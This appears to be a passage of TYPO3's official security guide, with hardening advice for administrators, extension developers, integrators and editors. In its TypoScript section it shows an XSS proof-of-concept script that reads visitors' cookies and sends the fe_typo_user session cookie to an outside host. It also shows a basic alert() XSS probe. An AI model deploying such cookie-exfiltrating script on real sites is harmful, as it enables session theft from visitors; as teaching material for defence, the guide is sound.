Administrators should maintain a minimal, secure server setup. Each service (web, mail, database, DNS, etc.) is a potential attack vector. A compromise in one component can endanger the entire environment, including TYPO3.

Best practices:

  • Disable unnecessary services
  • Keep all system software up to date, including PHP, the web server, database, and other services
  • Isolate systems where possible

A slim, well-maintained environment improves both performance and security.

If in-house server administration is not feasible, consider using a reputable managed hosting provider that specializes in TYPO3 or PHP applications.

Use secure PHP settings

TYPO3 runs on PHP, so secure PHP configuration is critical. Useful options include:

  • open_basedir to restrict accessible directories
  • disable_functions to disable risky PHP functions

If you rely on external services and don't have curl support, you may need to enable allow_url_fopen.

Be aware that blocking outbound traffic (e.g. via firewall) can prevent TYPO3 from retrieving extension updates or translation files.

Monitor failed backend logins

Failed backend logins and other security-related events are logged using the TYPO3 logging framework.

Admins can configure a dedicated log file for authentication messages and use external tools like fail2ban to respond to suspicious activity.

Example configuration:

config/system/additional.php | typo3conf/system/additional.php
<?php

use Psr\Log\LogLevel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

// Other settings

$GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['Core']['Authentication']['writerConfiguration'] = [
    LogLevel::INFO => [
        FileWriter::class => [
            'logFile' => Environment::getVarPath() . '/log/typo3_auth.log',
        ],
    ],
];
Copied!

Protect against clickjacking

Clickjacking tricks users into clicking hidden UI elements via transparent layers or iframes. TYPO3 protects its backend by sending the HTTP header X-Frame-Options, which blocks embedding backend pages in external domains (see RFC 7034).

To extend protection to the frontend, configure the web server:

.htaccess (excerpt)
<IfModule mod_headers.c>
    Header always append X-Frame-Options SAMEORIGIN
</IfModule>
Copied!

Explanation of header values:

  • SAMEORIGIN: Allow frames from the same origin only
  • DENY: Block all framing
  • ALLOW-FROM [uri]: Allow framing from a specific origin (less supported)

Security guidelines for extension developers

TYPO3 extensions can introduce critical vulnerabilities if not securely coded. This chapter outlines secure development practices for extension developers, with a focus on user input handling, database queries, and protecting against common attacks such as SQL injection and cross-site scripting (XSS).

Never trust user input

All input data your extension receives from the user can be potentially malicious. That applies to all data being transmitted via GET and POST requests. You can never trust where the data came from as your form could have been manipulated. Cookies should be classified as potentially malicious as well because they may have also been manipulated.

Always check if the format of the data corresponds with the format you expected. For example, for a field that contains an email address, you should check that a valid email address was entered and not any other text.

If the backend forms use the correct TCA types like 'type' => 'email' or parameters like eval. In Extbase the validating framework can be helpful.

Create your own database queries

Queries in the query language of Extbase are automatically escaped.

However manually created SQL queries are subject to be attacked by SQL injection.

All SQL queries should be made in a dedicated class called a repository. This applies to Extbase queries, Doctrine DBAL QueryBuilder queries and pure SQL queries.

Trusted properties (Extbase Only)

In Extbase there is transparent argument mapping applied: All properties that are to be sent are changed transparently on the object. Certainly, this implies a safety risk, that we will explain with an example: Assume we have a form to edit a user object. This object has the properties username, email, password and description. We want to provide the user with a form to change all properties except the username (because the username should not be changed in our system).

The form looks like this:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
<f:form name="user" object="{user}" action="update">
   <f:form.textbox property="email" />
   <f:form.textbox property="password" />
   <f:form.textbox property="description" />
</f:form>
Copied!

If the form is sent, the argument mapping for the user object receives this array:

HTTP POST
[
   __identity => ...
   email =>  ...
   password => ...
   description => ...
],
Copied!

Because the __identity property and further properties are set, the argument mapper gets the object from the persistence layer, makes a copy and then applies the changed properties to the object. After this we call the update($user) method for the corresponding repository to make the changes persistent.

What happens if an attacker manipulates the form data and transfers an additional field username to the server? In this case the argument mapping would also change the $username property of the cloned object - although we did not want this property to be changed by the user itself.

To avoid this problem, Fluid creates a hidden form field __trustedProperties which contains information about what properties are to be trusted. Once a request reaches the server, the property mapper of Extbase compares the incoming fields with the property names, defined by the __trustedProperties argument.

As the content of said field could also be manipulated by the client, the field contains a serialized array of trusted properties and a hash of that array. On the server-side, the hash is also compared to ensure the data has not been tampered with on the client-side.

Only the form fields generated by Fluid with the appropriate ViewHelpers are transferred to the server. If an attacker tries to add a field on the client-side, this is detected by the property mapper, and an exception will be thrown.

In general, __trustedProperties should work completely transparently for you. You do not have to know how it works in detail. You have to know this background knowledge only if you want to change data via JavaScript or web services.

Prevent cross-site scripting

Fluid contains some integrated techniques to secure web applications by default. One of the more important features is automatic prevention against cross site scripting, a common attack against web applications. In this section, we give you a problem description and show how you can avoid cross-site scripting (XSS).

Assume you have programmed a forum. An malicious user will get access to the admin account. To do this, they posted the following message in the forum to try to embed JavaScript code:

A simple example for XSS
<script type="text/javascript">alert("XSS");</script>
Copied!

When the forum post gets displayed, if the forum's programmer has not made any additional security precautions, a JavaScript popup "XSS" will be displayed. The attacker now knows that any JavaScript he writes in a post is executed when displaying the post - the forum is vulnerable to cross-site scripting. Now the attacker can replace the code with a more complex JavaScript program that, for example, can read the cookies of the visitors of the forum and send them to a certain URL.

If an administrator retrieves this prepared forum post, their session ID (that is stored in a cookie) is transferred to the attacker. In a worst case scenario, the attacker gets administrator privileges (Cross-site request forgery (XSRF)).

How can we prevent this? We must encode all special characters with a call of htmlspecialchars(). With this, instead of <script>..</script> the safe result is delivered to the browser: &amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;. So the content of the script tag is no longer executed as JavaScript but only displayed.

But there is a problem with this: If we forget or fail to encode input data just once, an XSS vulnerability will exist in the system.

In Fluid, the output of every object accessor that occurs in a template is automatically processed by htmlspecialchars(). But Fluid uses htmlspecialchars() only for templates with the extension .html. If you use other output formats, it is disabled, and you have to make sure to convert the special characters correctly.

Content that is output via the ViewHelper <f:format.raw> is not sanitized. See ViewHelper Reference, format.raw.

If you want to output user provided content containing HTML tags that should not be escaped use <f:format.html>.

See ViewHelper Reference, format.html.

Sanitation is also deactivated for object accessors that are used in arguments of a ViewHelper. A short example for this:

EXT:blog_example/Resources/Private/Templates/SomeTemplate.html
{variable1}
<f:format.crop append="{variable2}">a very long text</f:format.crop>
Copied!

The content of {variable1} is sent to htmlspecialchars(), the content of {variable2} is not changed. The ViewHelper must retrieve the unchanged data because we can not foresee what should be done with it. For this reason, ViewHelpers that output parameters directly have to handle special characters correctly.

Security guidelines for TYPO3 integrators

TYPO3 integrators are responsible for configuring and customizing the system, installing extensions, and managing backend access. Their work plays a critical role in the overall security of a TYPO3 site.

This chapter outlines key responsibilities and security recommendations for TYPO3 integrators.

Please see the chapters below for further security related topics of interest for integrators:

Role definition

A TYPO3 integrator develops the template for a website, selects, imports, installs and configures extensions and sets up access rights and permissions for editors and other backend users. An integrator usually has "administrator" access to the TYPO3 system, should have a good knowledge of the general architecture of TYPO3 (frontend, backend, extensions, TypoScript, TSconfig, etc.) and should be able to configure a TYPO3 system properly and securely.

Integrators know how to use the Install Tool, the meaning of configurations in config/system/settings.php and the basic structure of files and directories used by TYPO3.

The installation of TYPO3 on a web server or the configuration of the server itself is not part of an integrator's duties but of a system administrator. An integrator does not develop extensions but should have basic programming skills and database knowledge.

The TYPO3 integrator knows how to configure a TYPO3 system, handed over from a system administrator after the installation. An integrator usually consults and trains editors (end-users of the system, e.g. a client) and works closely together with system administrators.

The role of a TYPO3 integrator often overlaps with a system administrator and often one person is in both roles.

General rules

All general rules for a system administrator also apply for a TYPO3 integrator. One of the most important rules is to change the username and password of the "admin" account immediately after a TYPO3 system was handed over from a system administrator to an integrator, if not already done. The same applies to the Install Tool password, see below.

In addition, the following general rules apply for a TYPO3 integrator:

  1. Ensure backend users only have the permissions they need to do their work, nothing more – and especially no administrator privileges, see explanations below.
  2. Ensure, the TYPO3 sites they are responsible for, always run a stable and secure TYPO3 Core version and always and only contain secure extensions (integrators update them immediately if a vulnerability has been discovered).
  3. Stay informed about TYPO3 Core updates. Integrators should know the changes when new TYPO3 major versions are released and should be aware of the impacts and risks of an update.
  4. Integrators check for extension updates regularly and/or they know how to configure a TYPO3 system to notify them about new extension versions.

Install tool

The Install Tool allows you to configure the TYPO3 system on a very low level, which means, not only the basic settings but also the most essential settings can be changed.

Enabling and accessing the Install Tool

Introduction

A TYPO3 backend account is not required in order to access the Install Tool, so it is clear that the Install Tool requires some special attention (and protection).

TYPO3 comes with a two-step mechanism out-of-the-box to protect the Install Tool against unauthorized access:

  1. The ENABLE_INSTALL_TOOL file must exist in order for the Install Tool to be accessible.
  2. An Install Tool password is required. This password is independent of all backend user passwords.

The Install Tool can be found as a stand-alone application via https://example.org/typo3/install.php. It is also accessible in the backend, but only for logged-in users with administrator and maintainer privileges.

The ENABLE_INSTALL_TOOL file

The ENABLE_INSTALL_TOOL flag file can be created by placing an empty file in one of the following file paths:

You usually need write access to this directory on the server level (for example, via SSH, SFTP, etc.) or you can create this file as a backend user with administrator privileges.

Screen to enable the Install Tool

The Install Tool password

The password for accessing the Install Tool is stored using the configured password hash mechanism set for the backend in the global configuration file config/system/settings.php:

config/system/settings.php
<?php
return [
    'BE' => [
        'installToolPassword' => '$P$CnawBtpk.D22VwoB2RsN0jCocLuQFp.',
        // ...
    ],
];
Copied!

The Install Tool password is set during the installation process. This means, in the case that a system administrator hands over the TYPO3 instance to you, it should also provide you with the appropriate password.

The first thing you should do, after taking over a new TYPO3 system from a system administrator, is to change the password to a new and secure one. Log-in to the Install Tool and change it there.

Screen to change the Install Tool password

Accessing the Install Tool in the backend

The System Maintainer role allows for selected backend users to access the Admin Tools components from within the backend without further security measures.

The number of system maintainers should be as low as possible to mitigate the risks of corrupted accounts.

Users can be assigned the role in the Settings section of Install Tool -> Manage System Maintainers. It is also possible to manually modify the list by adding or removing the user's UID ( be_users.uid) in config/system/settings.php:

config/system/settings.php
<?php
return [
    // ...
    'SYS' => [
        'systemMaintainers' => [1, 7, 36],
        // ...
    ],
];
Copied!

For additional security, the folders typo3/install and typo3/sysext/install can be deleted, or password protected on a server level (e.g. by a web server's user authentication mechanism). Please keep in mind that these measures have an impact on the usability of the system. If you are not the only person who uses the Install Tool, you should discuss the best approach with the team.

TYPO3 Core updates

In Classic mode installations the Install Tool allows integrators to update the TYPO3 Core with a click on a button. This feature can be found under Important actions, and it checks/installs revision updates only (that is, bug fixes and security updates).

Install Tool function to update the TYPO3 Core

This feature can be disabled by an environment variable:

TYPO3_DISABLE_CORE_UPDATER=1
Copied!

Encryption key

The encryptionKey can be found in the Install Tool (module Settings > Configure Installation-Wide Options). This string, usually a hexadecimal hash value of 96 characters, is used as the salt for various kinds of encryptions, checksums and validations (for example for the cHash). Therefore, a change of this value invalidates temporary information, cache content, etc. and you should clear all caches after you changed this value in order to force the rebuild of this data with the new encryption key.

Generating the encryption key

The encryption key should be a random 96 characters long hexadecimal string. You can for example create it with OpenSSL:

openssl rand -hex 48
Copied!

It is possible to generate the encryption key via an API within TYPO3:

use \TYPO3\CMS\Core\Crypto\Random;
use \TYPO3\CMS\Core\Utility\GeneralUtility;

$encryptionKey = GeneralUtility::makeInstance(Random::class)->generateRandomHexString(96);
Copied!

Global TYPO3 configuration options

The following configuration options are accessible and changeable via the Install Tool (recommended way) or directly in the file config/system/settings.php. The list below is in alphabetical order - not in the order of importance (all are relevant but the usage depends on your specific site and requirements).

displayErrors

This configuration option controls whether PHP errors should be displayed or not (information disclosure). Possible values are: -1, 0, 1 (integer) with the following meaning:

-1
This overrides the PHP setting display_errors. If devIPmask matches the user's IP address the configured debugExceptionHandler is used for exceptions, if not, productionExceptionHandler will be used. This is the default setting.
0
This suppresses any PHP error messages, overrides the value of exceptionalErrors and sets it to 0 (no errors are turned into exceptions), the configured productionExceptionHandler is used as exception handler.
1
This shows PHP error messages with the registered error handler. The configured debugExceptionHandler is used as exception handler.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']

devIPmask

The option devIPmask defines a comma-separated list of IP addresses which will allow development output to display (information disclosure). The debug() function will use this as a filter. Setting this to a blank value will deny all (recommended for a production site). Setting this to * will show debug messages to every client without any restriction (definitely not recommended). The default value is 127.0.0.1,::1 which means "localhost" only.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] `

fileDenyPattern

The fileDenyPattern is a Perl-compatible regular expression that (if it matches a file name) will prevent TYPO3 from accessing or processing this file (deny uploading, renaming, etc). For security reasons, PHP files as well as Apache's .htaccess file should be included in this regular expression string. The default value is: \\.(php[3-8]?|phpsh|phtml|pht|phar|shtml|cgi)(\\..*)?$|\\.pl$|^\\.htaccess$, initially defined in constant \TYPO3\CMS\Core\Resource\Security\FileNameValidator::FILE_DENY_PATTERN_DEFAULT.

There are only a very few scenarios imaginable where it makes sense to allow access to those files. In most cases backend users such as editors must not have the option to upload/edit PHP files or other files which could harm the TYPO3 instance when misused. Even if you trust your backend users, keep in mind that a less restrictive fileDenyPattern would enable an attacker to compromise the system if it only gained access to the TYPO3 backend with a normal, unprivileged user account.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']

IPmaskList

Some TYPO3 instances are maintained by a selected group of integrators and editors who only work from a specific IP range or (in an ideal world) from a specific IP address only. This could be, for example, an office network with a static public IP address. In this case, or in any case where the client's IP addresses are predictable, the IPmaskList configuration may be used to limit the access to the TYPO3 backend.

The string configured as IPmaskList is a comma-separated list of IP addresses which are allowed to access the backend. The use of wildcards is also possible to specify a network. The following example opens the backend for users with the IP address 123.45.67.89 and from the network 192.168.xxx.xxx:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList'] = 123.45.67.89,192.168.*.*
Copied!

The default value is an empty string.

lockIP / lockIPv6

If a frontend or backend user logs into TYPO3, the user's session can be locked to its IP address. The lockIP configuration for IPv4 and lockIPv6 for IPv6 control how many parts of the IP address have to match with the IP address used at authentication time.

Possible values for IPv4 are: 0, 1, 2, 3 or 4 (integer) with the following meaning:

0
Disable IP locking entirely.
1
Only the first part of the IPv4 address needs to match, e.g. 123.xxx.xxx.xxx.
2
Only the first and second part of the IPv4 address need to match, e.g. 123.45.xxx.xxx.
3
Only the first, second and third part of the IPv4 address need to match, e.g. 123.45.67.xxx.
4
The complete IPv4 address has to match (e.g. 123.45.67.89).

Possible values for IPv6 are: 0, 1, 2, 3, 4, 5, 6, 7, 8 (integer) with the following meaning:

0
Disable IP locking entirely.
1
Only the first block (16 bits) of the IPv6 address needs to match, e.g. 2001:
2
The first two blocks (32 bits) of the IPv6 address need to match, e.g. 2001:0db8.
3
The first three blocks (48 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3
4
The first four blocks (64 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3
5
The first five blocks (80 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319
6
The first six blocks (96 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e
7
The first seven blocks (112 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370
8
The full IPv6 address has to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370:7344

If your users experience that their sessions sometimes drop out, it might be because of a changing IP address (this may happen with dynamic proxy servers for example) and adjusting this setting could address this issue. The downside of using a lower value than the default is a decreased level of security.

Keep in mind that the lockIP and lockIPv6 configurations are available for frontend ( ['FE']['lockIP'] and ['FE']['lockIPv6']) and backend ( ['BE']['lockIP'] and ['BE']['lockIPv6']) sessions separately, so four PHP variables are available:

  • $GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']
  • $GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']

lockSSL

As described in encrypted client/server communication, the use of https:// scheme for the backend and frontend of TYPO3 drastically improves the security. The lockSSL configuration controls if the backend can only be operated from an SSL-encrypted connection (HTTPS). Possible values are: true, false (boolean) with the following meaning:

  • false: The backend is not forced to SSL locking at all (default value)
  • true: The backend requires a secure connection HTTPS.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']

trustedHostsPattern

TYPO3 uses the HTTP header Host: to generate absolute URLs in several places such as 404 handling, http(s) enforcement, password reset links and many more. Since the host header itself is provided by the client, it can be forged to any value, even in a name-based virtual hosts environment.

The trustedHostsPattern configuration option can contain either the value SERVER_NAME or a regular expression pattern that matches all host names that are considered trustworthy for the particular TYPO3 installation. SERVER_NAME is the default value and with this option value in effect, TYPO3 checks the currently submitted host header against the SERVER_NAME variable. Please see security bulletin TYPO3-CORE-SA-2014-001 for further details about specific setups.

If the Host: header also contains a non-standard port, the configuration must include this value, too. This is especially important for the default value SERVER_NAME as provided ports are checked against SERVER_PORT which fails in some more complex load balancing or SSL termination scenarios.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] `

warning_email_addr

The email address defined in warning_email_addr will receive notifications, whenever an attempt to login to the Install Tool is made. TYPO3 will also send a warning whenever more than three failed backend login attempts (regardless of the user) are detected within one hour.

The default value is an empty string.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']

warning_mode

This setting specifies if emails should be send to warning_email_addr upon successful backend user login.

The value in an integer:

0
Do not send notification emails upon backend login (default)
1
Send a notification email every time a backend user logs in
2
Send a notification email every time an admin backend user logs in

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']

Reports and logs

Two backend modules in TYPO3 require special attention: Reports and Log:

The Reports module groups several system reports and gives you a quick overview about important system statuses and site parameters. From a security perspective, the section Security should be checked regularly: it provides information about the administrator user account, encryption key, file deny pattern, Install Tool and more.

The second important module is the Logs module, which lists system log entries. The logging of some events depends on the specific configuration but in general every backend user login/logout, failed login attempts, etc. appear here. It is recommended to check for security-related entries (column Errors).

The information shown in these (and other) modules are senseless of course, in cases where a compromised system was manipulated in the way that incorrect details pretend the system status is OK.

Users and access privileges

Backend

TYPO3 offers a very sophisticated and complex access concept: you can define permissions on a user-level, on a group-level, on pages, on functions, on DB mounts, even on content elements and more. This concept is possibly a little bit complicated and maybe overwhelming if you have to configure it for the first time in your integrator life, but you will soon appreciate the options a lot.

As the first rule, you should grant backend users only a minimal set of privileges, only to those functions they really need. This will not only make the backend easier for them to use, but also makes the system more secure. In most cases, an editor does not need to enter any PHP, JavaScript or HTML code, so these options should be disabled. You also should restrict access to pages, DB mounts, file mounts and functions as much as possible. Note that limiting access to pages by using DB mounts only is not the best way. In order to really deny access, page permissions need to be set correctly.

It is always a good approach to set these permissions on a group level (for example use a group such as "editors"), so you can create a new user and assign this user to the appropriate group. It is not necessary to update the access privileges for every user if you want to adjust something in the future – update the group's permissions instead.

When creating a new user, do not use generic user names such as "editor", "webmaster", "cms" or similar. You should use real names instead (e.g. first name + dot + last name). Always remember the guidelines for choosing a secure password when you set a password for a new user or update a password for an existing user (set a good example and inform the new user about your policies).

If backend users will leave the project at a known date, for example students or temporary contractors, you should set an expiration date when you create their accounts. Under certain circumstances, it possibly makes sense to set this "stop" date for every user in general, e.g. 6 months in the future. This forces the administrator team to review the accounts from time to time and only extend the users that are allowed to continue using the system.

Screenshot showing the screen to set an expiry date for a backend user

Frontend

Access to pages and content in the TYPO3 frontend can be configured with frontend user groups. Similar suggestions like for backend users also apply here.

There are two special options in addition to frontend user groups:

  • Hide at login: hide page/content as soon as a user is logged in into the frontend, no matter which groups he belongs to.
  • Show at any login: show page/content as soon as a user is logged in.

The option Show at any login should be used with care since it permits access to any user regardless of it's user groups and storage location. This means that for multi-site TYPO3 instances users are able to log in to other sites under certain circumstances.

Thus the correct solution is to always prefer explicit user groups instead of the Show at any login option.

TYPO3 extensions

As already mentioned above, most of the security issues have been discovered in TYPO3 extensions, not in the TYPO3 Core . Due to the fact that everybody can publish an extension in the TYPO3 repository, you never know how savvy and experienced the programmer is and how the code was developed from a security perspective.

The following sections deal with extensions in general, the risks and the basic countermeasures to address security related issues.

Stable and reviewed extensions

Only a small percentage of the extensions available in the TER have been reviewed by the TYPO3 Security team. This does not imply that extensions without such an audit are insecure, but they probably have not been checked for potential security issues by an independent 3rd party (such as the TYPO3 Security Team).

The status of an extension (alpha, beta, stable, etc.) should also give you an indication in which state the developer claims the extension is. However, this classification is an arbitrary setting by the developer and may not reflect the real status and/or opinions of independent parties.

Always keep in mind that an extension may not perform the functionality that it pretends to do: An attacker could write an extension that contains malicious code or functions and publish it under a promising name. It is also possible that a well-known, harmless extension will be used for an attack in the future by introducing malicious code with an update. In a perfect world, every updated version would be reviewed and checked, but it is understandable that this approach is unlikely to be practical in most installations.

Following the guidelines listed below would improve the level of security, but the trade-off would be more effort in maintaining your website and a delay of updating existing extensions, which would possibly be against the react quickly paradigm. Thus, it depends on the specific case and project, and the intention of listing the points below is more to raise the awareness of possible risks.

  • Do not install extensions or versions marked as alpha or obsolete: The developer classified the code as a early version, preview, prototype, proof-of-concept and/or as not maintained – nothing you should install on a production site.
  • Be very careful when using extensions or versions marked as beta: According to the developer, this version of the extension is still in development, so it is unlikely that any security-related tests or reviews have been undertaken so far.
  • Be careful with extensions and versions marked as stable, but not reviewed by the TYPO3 Security Team.
  • Check every extension and extension update before you install it on a production site and review it in regards to security, see Use staging servers for developments and tests.

Executable binaries shipped with extensions

TYPO3 extensions (.zip files) are packages, which may contain any kind of data/files. This can be readable PHP or Javascript source code, as well as binary files like compiled executables, e.g. Unix/Linux ELF files or Microsoft Windows .exe files.

Executing these files on a server is a security risk, because it can not be verified what these files really do (unless they are reverse-engineered or dissected likewise). Thus it is highly recommended not to use any TYPO3 extensions, which contain executable binaries. Binaries should only come from trusted and/or verified sources such as the vendor of your operating system - which also ensures, these binaries get updated in a timely manner, if a security vulnerability is discovered in these components.

Remove unused extensions and other code

TYPO3 distinguishes between "imported" and "loaded" extensions. Imported extensions exist in the system and are ready to be integrated into TYPO3 but they are not installed yet. Loaded extensions are available for being used (or are being used automatically, depending on their nature), so they are "installed".

A dangerous and loaded extension is able to harm your system in general because it becomes part of the system (functions are integrated into the system at runtime). Even extensions which are not loaded (but only "imported") include a kind of risk because their code may contain malicious or vulnerable functions which in theory could be used to attack the system.

As a general rule, it is highly recommended you remove all code from the system that is not in use. This includes TYPO3 extensions, any TypoScript (see below), PHP scripts as well as all other functional components. In regards to TYPO3 extensions, you should remove unused extensions from the system (not only unload/deinstall them). The Extension Manager offers an appropriate function for this - an administrator backend account is required.

Low-level extensions

So called "low-level" extensions provide "questionable" functionality to a level below what a standard CMS would allow you to access. This could be for example direct read/write access to the file system or direct access to the database (see Guidelines for System Administrators: Database access). If a TYPO3 integrator or a backend user (e.g. an editor) depends on those extensions, it is most likely that a misconfiguration of the system exists in general.

TYPO3 extensions like phpMyAdmin, various file browser/manager extensions, etc. may be a good choice for a development or test environment but are definitely out of place at production sites.

Extensions that allow editors to include PHP code must be avoided, too.

Check for extension updates regularly

The importance of the knowledge that security updates are available has been discussed above (see TYPO3 security-bulletins). It is also essential to know how to check for extension updates: the Extension Manager (EM) is a TYPO3 backend module accessible for backend users with administrator privileges. A manual check for extension updates is available in this module.

The EM uses a cached version of the extension list from the TYPO3 Extension Repository (TER) to compare the extensions currently installed and the latest versions available. Therefore, you should retrieve an up-to-date version of the extension list from TER before checking for updates.

If extension updates are available, they are listed together with a short description of changes (the "upload comment" provided by the extension developers) and you can download/install the updates if desired. Please note that under certain circumstances, new versions may behave differently and a test/review is sometimes useful, depending on the nature and importance of your TYPO3 instance. Often a new version of an extension published by the developer is not security-related.

A scheduler task is available that lets you update the extension list automatically and periodically (e.g. once a day). In combination with the task "System Status Update (reports)", it is possible to get a notification by email when extension updates are available.

TypoScript

SQL injection

The CWE/SANS list of top 25 most dangerous software errors ranks "SQL injection" first! The TYPO3 Security Team comes across this security vulnerability in TYPO3 extensions over and over again.

On the PHP side, this situation improved a lot in TYPO3 with the doctrine API using prepared statements with createNamedParameter(), quoteIdentifier() and escapeLikeWildcards().

But TYPO3 integrators (and everyone who writes code using TypoScript) should be warned that due to the sophistication of TYPO3's configuration language, SQL injections are also possible in TypoScript, for example using the CONTENT content object and building the SQL query with values from the GET/POST request.

The following code snippet gives an example:

page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###CONTENTID###
    markers {
        CONTENTID.data = GP:fooid
    }
  }
}
Copied!

Argument passed by the GET / POST request fooid wrapped as markers are properly escaped and quoted to prevent SQL injection problems.

See TypoScript Reference for more information.

As a rule, you cannot trust (and must not use) any data from a source you do not control without proper verification and validation (e.g. user input, other servers, etc.).

Cross-site scripting (XSS)

Similar applies for XSS placed in TypoScript code. The following code snippet gives an example:

page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS &#43; TypoScript - proof of concept</h1>
    <p>Submitting (harmless) cookie data to google.com in a few seconds...</p>
  )
  20 = TEXT
  20.value (
    <script type="text/javascript">
    document.write('<p>');
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'https://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);
      }
    }
    document.write('</p>');
    </script>
  )
}
Copied!

TYPO3 outputs the JavaScript code in page.10.20.value on the page. The script is executed on the client side (in the user's browser), reads and displays all cookie name/value pairs. In the case that a cookie named fe_typo_user exists, the cookie value will be passed to google.com, together with some extra data.

This code snippet is harmless of course but it shows how malicious code (e.g. JavaScript) can be placed in the HTML content of a page by using TypoScript.

Clickjacking

Clickjacking is an attack scenario where an attacker tricks a web user into clicking on a button or following a link different from what the user believes he/she is clicking on. Please see clickjacking for further details. It may be beneficial to include a HTTP header X-Frame-Options on frontend pages to protect the TYPO3 website against this attack vector. Please consult with your system administrator about pros and cons of this configuration.

The following TypoScript adds the appropriate line to the HTTP header:

config.additionalHeaders = X-Frame-Options: SAMEORIGIN
Copied!

Integrity of external JavaScript files

The TypoScript property integrity allows integrators to specify a SRI hash in order to allow a verification of the integrity of externally hosted JavaScript files. SRI (Sub-Resource Integrity) is a W3C specification that allows web developers to ensure that resources hosted on third-party servers have not been tampered with.

The TypoScript property can be used for the following PAGE properties:

  • page.includeJSLibs
  • page.includeJSFooterlibs
  • includeJS
  • includeJSFooter

A typical example in TypoScript looks like:

page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
  }
}
Copied!

Risk of externally hosted JavaScript libraries

In many cases, it makes perfect sense to include JavaScript libraries, which are externally hosted. Like the example above, many libraries are hosted by CDN providers (Content Delivery Network) from an external resource rather than the own server or hosting infrastructure. This approach reduces the load and traffic of your own server and may speed up the loading time for your end-users, in particular if well-known libraries are used.

However, JavaScript libraries of any kind and nature, for example feedback, comment or discussion forums, as well as user tracking, statistics, additional features, etc. which are hosted somewhere, can be compromised, too.

If you include a JavaScript library that is hosted under https://example.org/js/feedback.js and the systems of operator of example.org are compromised, your site and your site visitors are under risk, too.

JavaScript running in the browser of your end-users is able to intercept any input, for example sensitive data such as personal details, credit card numbers, etc. From a security perspective, it it recommended to either not to use externally hosted JavaScript files or to only include them on pages, where necessary. On pages, where users enter data, they should be removed.

Content elements

Besides the low-level extensions, there are also system-internal functions available which could allow the insertion of raw HTML code on pages: the content element "Plain HTML" and the Rich Text Editor (RTE).

A properly configured TYPO3 system does not require editors to have any programming or HTML/CSS/JavaScript knowledge and therefore the "raw HTML code" content element is not really necessary. Besides this fact, raw code means, editors are also able to enter malicious or dangerous code such as JavaScript that may harm the website visitor's browser or system.

Even if editors do not insert malicious code intentionally, sometimes the lack of knowledge, expertise or security awareness could put your website at risk.

Depending on the configuration of the Rich Text Editor (RTE), it is also possible to enter raw code in the text mode of the RTE. Given the fact that HTML/CSS/JavaScript knowledge is not required, you should consider disabling the function by configuring the buttons shown in the RTE. The page TSconfig enables you to list all buttons visible in the RTE by using the following TypoScript:

RTE.default {
  showButtons = ...
  hideButtons = ...
}
Copied!

In order to disable the button "toggle text mode", add "chMode" to the hideButtons list. The TSconfig/RTE (Rich Text Editor) documentation provide further details about configuration options.

Security guidelines for editors

While editors typically do not handle technical setup, their habits and awareness directly affect the security of the system.

Role definition

Typically, a software development company or web design agency develops the initial TYPO3 website for the client. After the delivery, approval and training, the client is able to edit the content and takes the role of an editor. All technical administration, maintenance and update tasks often stay at the developer as the provider of the system. This may vary depending on the relation and contracts between developer and client of course.

Editors are predominantly responsible for the content of the website. They log in to the backend of TYPO3 (the administration interface) using their username and password. Editors add, update and remove pages as well as content on pages. They upload files such as images or PDF documents, create internal and external links and add/edit multimedia elements. The terminology "content" applies to all editable texts, images, tables, lists, possibly forms, etc. Editors sometimes translate existing content into different languages and prepare and/or publish news.

Depending on the complexity and setup of the website, editors possibly work in specific "workspaces" (e.g. a draft workspace) with or without the option to publish the changes to the "live" site. It is not required for an editor to see the entire page tree and some areas of the website are often not accessible and not writable for editors.

Advanced tasks of editors are for example the compilation and publishing of newsletters, the maintenance of frontend user records and/or export of data (e.g. online shop orders).

Editors usually do not change the layout of the website, they do not set up the system, new backend user accounts, new site functionality (for example, they do not install, update or remove extensions), they do not need to have programming, database or HTML knowledge and they do not configure the TYPO3 instance by changing TypoScript code or templates.

General rules

The General Guidelines also apply to editors – especially the section "Secure passwords" and "Operating system and browser version".

